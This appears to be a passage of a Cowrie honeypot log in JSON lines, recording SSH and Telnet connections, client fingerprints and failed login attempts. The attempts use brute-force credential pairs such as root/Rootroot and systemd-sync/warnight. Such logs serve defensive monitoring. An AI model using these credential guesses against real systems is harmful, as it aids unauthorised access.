{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:55.921629Z","src_ip":"107.0.200.227","session":"f2771098554e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rootroot","message":"login attempt [root/Rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:56.092319Z","src_ip":"107.0.200.227","session":"f2771098554e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:57.129214Z","src_ip":"107.0.200.227","session":"f2771098554e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":57258,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e38ba1010d9","protocol":"telnet","message":"New connection: 74.91.213.120:57258 (159.203.135.109:23) [session: 6e38ba1010d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:01.373934Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":39052,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e106e86bf7e","protocol":"ssh","message":"New connection: 66.113.163.125:39052 (159.203.135.109:22) [session: 9e106e86bf7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:20.556590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:20.564822Z","src_ip":"66.113.163.125","session":"9e106e86bf7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:20.601690Z","src_ip":"66.113.163.125","session":"9e106e86bf7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:20.783608Z","src_ip":"66.113.163.125","session":"9e106e86bf7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:21.823785Z","src_ip":"66.113.163.125","session":"9e106e86bf7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":39816,"dst_ip":"159.203.135.109","dst_port":22,"session":"86adfa349ec1","protocol":"ssh","message":"New connection: 125.16.27.190:39816 (159.203.135.109:22) [session: 86adfa349ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:22.184427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:22.189266Z","src_ip":"125.16.27.190","session":"86adfa349ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:22.547397Z","src_ip":"125.16.27.190","session":"86adfa349ec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":59318,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c4a1746d2b7","protocol":"ssh","message":"New connection: 185.153.231.45:59318 (159.203.135.109:22) [session: 0c4a1746d2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:22.655680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:22.660971Z","src_ip":"185.153.231.45","session":"0c4a1746d2b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":58090,"dst_ip":"159.203.135.109","dst_port":22,"session":"13050e504635","protocol":"ssh","message":"New connection: 45.61.187.220:58090 (159.203.135.109:22) [session: 13050e504635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:22.783915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:22.791082Z","src_ip":"45.61.187.220","session":"13050e504635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:22.797941Z","src_ip":"185.153.231.45","session":"0c4a1746d2b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:22.842092Z","src_ip":"45.61.187.220","session":"13050e504635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zz123456.","message":"login attempt [root/zz123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:23.063530Z","src_ip":"45.61.187.220","session":"13050e504635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jflhi5za","password":"drHsosw0iIPRMnLcZUwC","message":"login attempt [jflhi5za/drHsosw0iIPRMnLcZUwC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:23.352378Z","src_ip":"185.153.231.45","session":"0c4a1746d2b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploy","message":"login attempt [root/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:23.823710Z","src_ip":"125.16.27.190","session":"86adfa349ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:24.118606Z","src_ip":"45.61.187.220","session":"13050e504635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:24.486031Z","src_ip":"185.153.231.45","session":"0c4a1746d2b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:25.116759Z","src_ip":"125.16.27.190","session":"86adfa349ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14360809326172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:32.517445Z","src_ip":"74.91.213.120","session":"6e38ba1010d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":46662,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeaaffbe2dfb","protocol":"ssh","message":"New connection: 92.191.96.70:46662 (10.17.0.5:22) [session: aeaaffbe2dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:33.010467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:33.020345Z","src_ip":"92.191.96.70","session":"aeaaffbe2dfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:33.140431Z","src_ip":"92.191.96.70","session":"aeaaffbe2dfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:33.652358Z","src_ip":"92.191.96.70","session":"aeaaffbe2dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:34.775598Z","src_ip":"92.191.96.70","session":"aeaaffbe2dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.32.153.180","src_port":36908,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac4bf9cdc9a8","protocol":"ssh","message":"New connection: 111.32.153.180:36908 (10.17.0.5:22) [session: ac4bf9cdc9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:39.799082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:39.803684Z","src_ip":"111.32.153.180","session":"ac4bf9cdc9a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:40.057775Z","src_ip":"111.32.153.180","session":"ac4bf9cdc9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:41.104374Z","src_ip":"111.32.153.180","session":"ac4bf9cdc9a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:42.360689Z","src_ip":"111.32.153.180","session":"ac4bf9cdc9a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":42430,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f7b4c5e068e","protocol":"ssh","message":"New connection: 81.192.46.49:42430 (159.203.135.109:22) [session: 8f7b4c5e068e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:51.345797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:51.350346Z","src_ip":"81.192.46.49","session":"8f7b4c5e068e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:51.465835Z","src_ip":"81.192.46.49","session":"8f7b4c5e068e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:51.959118Z","src_ip":"81.192.46.49","session":"8f7b4c5e068e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":59906,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3622ba84e92","protocol":"ssh","message":"New connection: 159.195.79.219:59906 (10.17.0.5:22) [session: e3622ba84e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:52.500971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:52.505960Z","src_ip":"159.195.79.219","session":"e3622ba84e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 